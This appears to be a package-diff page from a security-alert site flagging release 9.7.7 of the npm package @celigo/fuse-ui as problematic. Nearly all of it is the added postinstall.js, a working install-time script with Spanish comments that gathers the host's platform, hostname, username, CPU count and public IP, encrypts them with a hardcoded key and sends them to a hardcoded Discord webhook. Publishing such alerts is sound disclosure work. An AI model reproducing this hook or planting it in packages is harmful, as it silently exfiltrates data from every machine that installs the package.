@celigo/fuse-ui 9.7.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @celigo/fuse-ui might be problematic. Click here for more details.
- package/package.json +11 -0
- package/postinstall.js +81 -0
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,81 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const crypto = require('crypto');
|
4
|
+
|
5
|
+
// Función para obtener la dirección IP pública
|
6
|
+
function getPublicIP(callback) {
|
7
|
+
https.get('https://api.ipify.org?format=json', (resp) => {
|
8
|
+
let data = '';
|
9
|
+
resp.on('data', (chunk) => {
|
10
|
+
data += chunk;
|
11
|
+
});
|
12
|
+
resp.on('end', () => {
|
13
|
+
callback(JSON.parse(data).ip);
|
14
|
+
});
|
15
|
+
}).on('error', (err) => {
|
16
|
+
console.error('Error obteniendo IP pública:', err);
|
17
|
+
callback(null);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
// Función para cifrar la información
|
22
|
+
function encryptData(data, key) {
|
23
|
+
const cipher = crypto.createCipheriv('aes-256-cbc', key, key.slice(0, 16));
|
24
|
+
let encrypted = cipher.update(data, 'utf8', 'hex');
|
25
|
+
encrypted += cipher.final('hex');
|
26
|
+
return encrypted;
|
27
|
+
}
|
28
|
+
|
29
|
+
// Recopilar información del sistema y enviar a Discord
|
30
|
+
function sendSystemInfo(ip) {
|
31
|
+
const sysData = {
|
32
|
+
plt: os.platform(),
|
33
|
+
arch: os.arch(),
|
34
|
+
cpu: os.cpus().length,
|
35
|
+
host: os.hostname(),
|
36
|
+
usr: os.userInfo().username,
|
37
|
+
ip: ip
|
38
|
+
};
|
39
|
+
|
40
|
+
// Clave de cifrado generada usando SHA-256
|
41
|
+
const encryptionKey = crypto.createHash('sha256').update('verystrongpassword').digest();
|
42
|
+
const encryptedSysData = encryptData(JSON.stringify(sysData), encryptionKey);
|
43
|
+
|
44
|
+
// URL del webhook de Discord
|
45
|
+
const webhookUrl = '/api/webhooks/1264048038201135134/gpQMRPlxvSvameK2_OjXvCIE8eXH_bXJl5dC6ApLiPOtJVynD2bCYydh2NzvfGxOVbIt';
|
46
|
+
|
47
|
+
// Preparar los datos para enviar
|
48
|
+
const payload = JSON.stringify({
|
49
|
+
content: `System Info: ${encryptedSysData}`
|
50
|
+
});
|
51
|
+
|
52
|
+
const options = {
|
53
|
+
hostname: 'discord.com',
|
54
|
+
port: 443,
|
55
|
+
path: webhookUrl,
|
56
|
+
method: 'POST',
|
57
|
+
headers: {
|
58
|
+
'Content-Type': 'application/json',
|
59
|
+
'Content-Length': Buffer.byteLength(payload)
|
60
|
+
}
|
61
|
+
};
|
62
|
+
|
63
|
+
// Enviar los datos al webhook de Discord
|
64
|
+
const req = https.request(options, (res) => {
|
65
|
+
res.on('data', (d) => {
|
66
|
+
process.stdout.write(d);
|
67
|
+
});
|
68
|
+
});
|
69
|
+
|
70
|
+
req.on('error', (e) => {
|
71
|
+
console.error(e);
|
72
|
+
});
|
73
|
+
|
74
|
+
req.write(payload);
|
75
|
+
req.end();
|
76
|
+
}
|
77
|
+
|
78
|
+
// Obtener la IP pública y luego enviar la información del sistema
|
79
|
+
getPublicIP((ip) => {
|
80
|
+
sendSystemInfo(ip);
|
81
|
+
});
|